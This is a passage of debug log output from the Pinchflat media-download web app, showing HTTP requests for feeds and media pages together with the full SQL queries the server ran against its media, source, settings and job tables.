(m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 23:26:02.901 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 23:26:02.902 [info] Sent 200 in 5ms 23:26:04.452 [info] GET /sources/2205c7cc-1e1a-42a5-8ffa-8d340f317264/feed.xml 23:26:04.452 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2205c7cc-1e1a-42a5-8ffa-8d340f317264"} Pipelines: [:maybe_basic_auth] 23:26:04.453 [debug] QUERY OK source="sources" db=0.2ms idle=1551.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2205c7cc-1e1a-42a5-8ffa-8d340f317264"] 23:26:04.453 [debug] QUERY OK source="media_items" db=0.2ms idle=1551.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [2, 2000] 23:26:04.456 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1554.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [2] 23:26:04.456 [info] Sent 200 in 3ms 23:26:04.998 [info] GET /media/8a552c76-e3fd-42ba-8247-e12346596050/stream 23:26:04.998 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "8a552c76-e3fd-42ba-8247-e12346596050", "v" => "1774659189"} Pipelines: [:maybe_basic_auth] 23:26:04.998 [debug] QUERY OK source="media_items" db=0.2ms idle=545.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["8a552c76-e3fd-42ba-8247-e12346596050"] 23:26:04.999 [info] Sent 404 in 938µs 23:26:05.527 [info] GET /sources/1/media/102 23:26:05.527 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:05.528 [debug] QUERY OK source="media_items" db=0.1ms idle=1016.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102] 23:26:05.528 [debug] QUERY OK source="tasks" db=0.1ms idle=624.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102] 23:26:05.528 [debug] QUERY OK source="sources" db=0.3ms idle=529.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:05.529 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=17.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [101] 23:26:05.529 [debug] QUERY OK source="settings" db=0.1ms idle=17.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:05.529 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:05.531 [debug] QUERY OK source="settings" db=0.7ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:05.531 [debug] QUERY OK source="media_profiles" db=0.5ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:05.533 [info] Sent 200 in 5ms 23:26:06.043 [info] GET /sources/1/media/109 23:26:06.044 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "109", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:06.044 [debug] QUERY OK source="media_items" db=0.1ms idle=514.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [109] 23:26:06.044 [debug] QUERY OK source="tasks" db=0.1ms idle=514.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [109] 23:26:06.044 [debug] QUERY OK source="sources" db=0.2ms idle=513.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:06.045 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=513.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [108] 23:26:06.045 [debug] QUERY OK source="settings" db=0.0ms idle=140.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.045 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.046 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.046 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:06.047 [info] Sent 200 in 3ms 23:26:06.587 [info] GET /sources/1/media/108 23:26:06.587 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "108", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:06.588 [debug] QUERY OK source="media_items" db=0.2ms idle=542.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 23:26:06.588 [debug] QUERY OK source="tasks" db=0.1ms idle=543.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [108] 23:26:06.589 [debug] QUERY OK source="sources" db=0.2ms idle=543.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:06.589 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=543.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [107] 23:26:06.590 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=543.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.590 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.590 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:06.591 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:06.592 [info] Sent 200 in 4ms 23:26:07.104 [info] GET /sources/1/media/105 23:26:07.104 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "105", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:07.105 [debug] QUERY OK source="media_items" db=0.1ms idle=514.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [105] 23:26:07.105 [debug] QUERY OK source="sources" db=0.1ms idle=515.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:07.105 [debug] QUERY OK source="tasks" db=0.1ms idle=514.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [105] 23:26:07.105 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=514.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [104] 23:26:07.106 [debug] QUERY OK source="settings" db=0.0ms idle=199.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.106 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.106 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.106 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:07.108 [info] Sent 200 in 3ms 23:26:07.673 [info] GET /sources/1/media/112 23:26:07.673 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "112", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:07.673 [debug] QUERY OK source="media_items" db=0.2ms idle=567.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 23:26:07.674 [debug] QUERY OK source="tasks" db=0.1ms idle=567.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [112] 23:26:07.674 [debug] QUERY OK source="sources" db=0.2ms idle=567.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:07.674 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=567.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [111] 23:26:07.675 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=567.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.675 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.675 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:07.676 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:07.677 [info] Sent 200 in 4ms 23:26:08.148 [info] GET /sources/1/media/212 23:26:08.149 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "212", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:08.149 [debug] QUERY OK source="media_items" db=0.1ms idle=474.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [212] 23:26:08.149 [debug] QUERY OK source="tasks" db=0.1ms idle=474.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [212] 23:26:08.150 [debug] QUERY OK source="sources" db=0.2ms idle=473.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:08.150 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=473.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [113] 23:26:08.150 [debug] QUERY OK source="settings" db=0.0ms idle=242.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:08.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 